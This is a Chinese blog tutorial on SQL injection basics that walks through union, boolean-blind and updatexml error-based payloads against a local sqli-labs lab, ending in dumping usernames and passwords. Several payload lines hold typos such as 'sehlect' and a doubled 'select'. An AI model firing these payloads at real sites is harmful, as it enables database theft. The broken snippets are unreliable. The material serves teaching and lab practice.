web安全之SQL注入基础 – 作者:zltjwsys

SQL注入基础

SQL注入介绍

Web请求响应过程:

007bHQE8gy1g58jreepkjj30sb0awdru.jpg

什么是SQL注入?

就是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。

为什么会产生sql注入?

开发人员可以使用动态SQL语句创建通用,灵活的应用。动态SQL语句是在执行过程中构造的,它根据不同的条件产生不同的sql语句。当开发人员在运行过程中需要根据不同的查询标准决定提取什么字段(如select语句),或者根据不同的条件选择不同的查询表时,动态地构造SQL语句会非常有用。

Php语句为列:

$query=“SELECT * FROM users WHERE id = $_GET[‘id’]”;

由于这里的参数ID可控,且带入数据库查询,所以非法用户可以任意拼接SQL语句进行攻击。

007bHQE8gy1g58jsq6ujpj30sh0fy0wh.jpg

SQL注入的原理

Sql注入漏洞的产生需要满足那两个条件?

参数用户可控:前端传给后端的参数内容是用户可以控制的。

参数带入数据库查询:传入的参数拼接到sql语句,且带入数据库查询。

当传入ID参数为1’时,数据库执行的代码如下所示。

sehlect * from users where id =1'

这样是会报出错误的,因为这不符合数据库语法规范。

当传入的ID参数为and 1=1 时,执行的SQL语句如下所示。

select * from users where id = 1' and 1=1

因为1=1为真,且where语句中id1=1也为真,所以页面会返回与id=1相同的结果。

当传入的ID参数为and 1=2时,由于1=2不成立,所以返回假,页面就会返回与id=1不同的结果。

由此可以初步判断ID参数存在SQL注入漏洞,攻击者可以进一步拼接SQL语句进行攻击,致使数据库信息泄露,甚至进一步获取服务器权限等。

—————————————————————————————————————————————————————

在实际环境中,凡是满足上述两个条件的参数皆可能存在SQL注入漏洞,因此开发者需秉持“外部参数皆不可信的原则”进行开发。

—————————————————————————————————————————————————————

与MySQL注入相关的知识点

Mysql数据库

数据库A=网站A

表名

列名

数据

数据库 B=网站B


数据库

在MySql5.0 版本之后,MySql默认在数据库中存放一个“information_schema”的数据库,在该库中,读者需要记住三个表名,分别是

SCHEMATA,TABLES,COLUMNS

SCHEMNSz表存储该用户创建的所有数据库的库名,我们需要记住该表中记录数据库库名的字段名为SCHEMA_NAME

TABLES表存储该用户创建的所有数据库的库名和表名,我们需要记住该表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME

COLUMNS表名和字段名的字段名为TABLE_SCHEMA,TABLE_NAME和COLUMN_NAME

Mysql查询语句

在不知道任何条件时,语句如下所示。

SELECT 要查询的字段名 FROM 库名.表名

在知道一条已知条件时,语句如下所示。

SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名=‘已知条件的值’

在知道两条已知条件时,语句如下所示。

SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知道条件1的字段名=‘已知条件1的值’ AND 已知条件2的字段名=‘已知条件2的值’

Limit 的用法

Limit的使用格式为limit m,n, 其中m是指记录开始的位置,从0开始,表示第一条记录;n是指取n条记录。

例如limit 0,1表示从第一条记录开始,取一条记录,

需要记住的几个函数

Database():当前网站使用的数据库

Version():当前MySQL的版本

User():当前MySQL的用户

注释符号

在MySQL中,常见注释符的表达方式:#或-- 空格或/**/

内联注释

内联注释的形式:/! code/。内联注释可以用于整个SQL语句中,用来执行我们的SQL语句,下面举一个列:

index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3

Union(联合)注入攻击

在线靶场

http://127.0.0.1/sqli-labs/Less-1/?id=1

一、判断是否用(‘)做字符串引号

http://127.0.0.1/sqli-labs/Less-1/?id=1'and 1=1 --+

https://blog.csdn.net/qq_41630808/article/details/80570197

正常输出

出错代表没有闭合 说明没有用’可能没有用’ 或用了”或()

http://127.0.0.1/sqli-labs/Less-1/?id=1%27and%201=2--+

则是”字符串注入

二、判断它所在的数据库有几列

http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 3 --+ 判断是否有3列

正常

http://127.0.0.1/sqli-labs/Less-1/?id=1'order by 4 --+ 判断是否有4列

错误

说明它输出的内容所在的数据库有3列

三、判断他显示的内容在数据库的第几列

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,3 --+

则 Your Login name 在第二列Your Password在第三列

我选择在第二列输出我想要的内容

四、查找出当前用户权限

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,user(),3 --+

root权限

五、查找当前数据库

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,database(),3 --+

当前数据库是 security

六、查找security的表名

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+

表名是 emails,referers,uagents,users

group_concat()会计算哪些行属于同一组,将属于同一组的列显示出来。要返回哪些列,由函

数参数(就是字段名)决定

七、查找users里的字段

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),3 --+

八、查找用户名

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),3 --+

九、查找密码

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,(select group_concat(password) from security.users),3 --+

这样 这个就完成了 已经拿到了账号密码

Union (联合) 注入代码分析

在Union注入页面中,程序获取GET参数ID,将ID拼接到SQL语句中,在数据库中查询参数的ID对应的内容,然后将第一条查询结果中的usernameaddress输出到页面,

由于是将数据输出到页面上的,所以利用Union语句查询其他数据,代码如下:

![

](http://ww1.sinaimg.cn/large/007bHQE8gy1g58le58wz5j30ou0bo77h.jpg)

当访问id=1 union select 1,2,3时,执行的SQL语句为:

`Select * from users where ‘id’=1 union select 1,2,3“

此时sql语句可以分为select \* from users where ‘id’=1union select 1,2,3两条,利用第二条语句(Union查询)就可以获取数据库中的数据。

(优化在源码中添加sql语句执行代码)

Boolean (布尔型) 注入攻击

1' and length(database())>=1--+ //判断数据库的长度

l' and substr(database(),1,1)=‘t’ --+ //判断数据库第一个字母的值

l' and substr(database(),2,1)=‘q’ --+ //判断数据库的第二个字母的值

l' and ord(substr(database(),1,1))=115--+ //利用ord和ASCII判断数据库库名

l' and substr(database(),2,1)=’q’--+ //利用substr判断数据库的库名

l' and substr(select table_name from information_schema.table where table_schema=‘sql’ limit 0,1),1,1)=‘e’ --+ //利用substr判断数据库的表名

1. length(str):返回str字符串的长度。

2. substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始

3. mid(str,pos,len):跟上面的一样,截取字符串

4. ascii(str):返回字符串str的最左面字符的ASCII代码值。

5. ord(str):同上,返回ascii码

6. if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

Boolean (布尔型)注入代码分析

在Boolean注入页面中程序先获取GET参数ID,通过preg_match判断其中是否存在union/sleep/benchmark等危险字符。然后将参数ID拼接到SQL语句,从数据库中查询,

007bHQE8gy1g58ldmekhdj30lr0dsgoe.jpg

当访问id=1‘ or 1=1%23时,数据库执行的语句为selcet * from user where ‘id’=’1’ or 1=1#,由于or 1=1是永真条件,所有此时返回正常。当访问id=1‘ and 1=2%23时,

数据库执行的语句为select * from users where ‘id’ = ‘1’ and 1=2#, 由于and‘1‘ =’2‘ 是永假条件,所有此时页面肯定会返=返回错误。

报错注入攻击

updatexml(1,concat(0x7e,(select user()),0x7e),1)–+ //利用updatexml获取user()

‘ and updatexml(1,concat(0x7e,(select database()),0x7e),1)–+ //利用updatexml获取database()

`‘ and updatexml(1,concat(0x7e,(select select schema_name from information_schema.schemata limit 0,1),0x7e),1)–+** //**利用报错注入获取数据库库名

‘ and updatexml(1,concat(0x7e,(select select table_name from information_schema.tables where table_schema= ‘test’ limit 0,1),0x7e),1)–+ //利用报错注入获取数据库表名



## 报错注入攻击代码分析


**在报错注入页面中,程序获取GET参数username 后,将username拼接到SQL语句中然后,然后到数据库查询。**

![](http://ww1.sinaimg.cn/large/007bHQE8gy1g58lsi2dz3j30ua0a9419.jpg)

 


输入username=1‘时,SQL语句为select * from user where ‘username’=‘1“。执行时会因为多了一个单引号而报错。利用这种错误回显,我们可以通过floor(),updatexml()


等函数将要查询的内容输出到页面上。





来源:freebuf.com 2019-08-08 16:58:49 by: zltjwsys

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论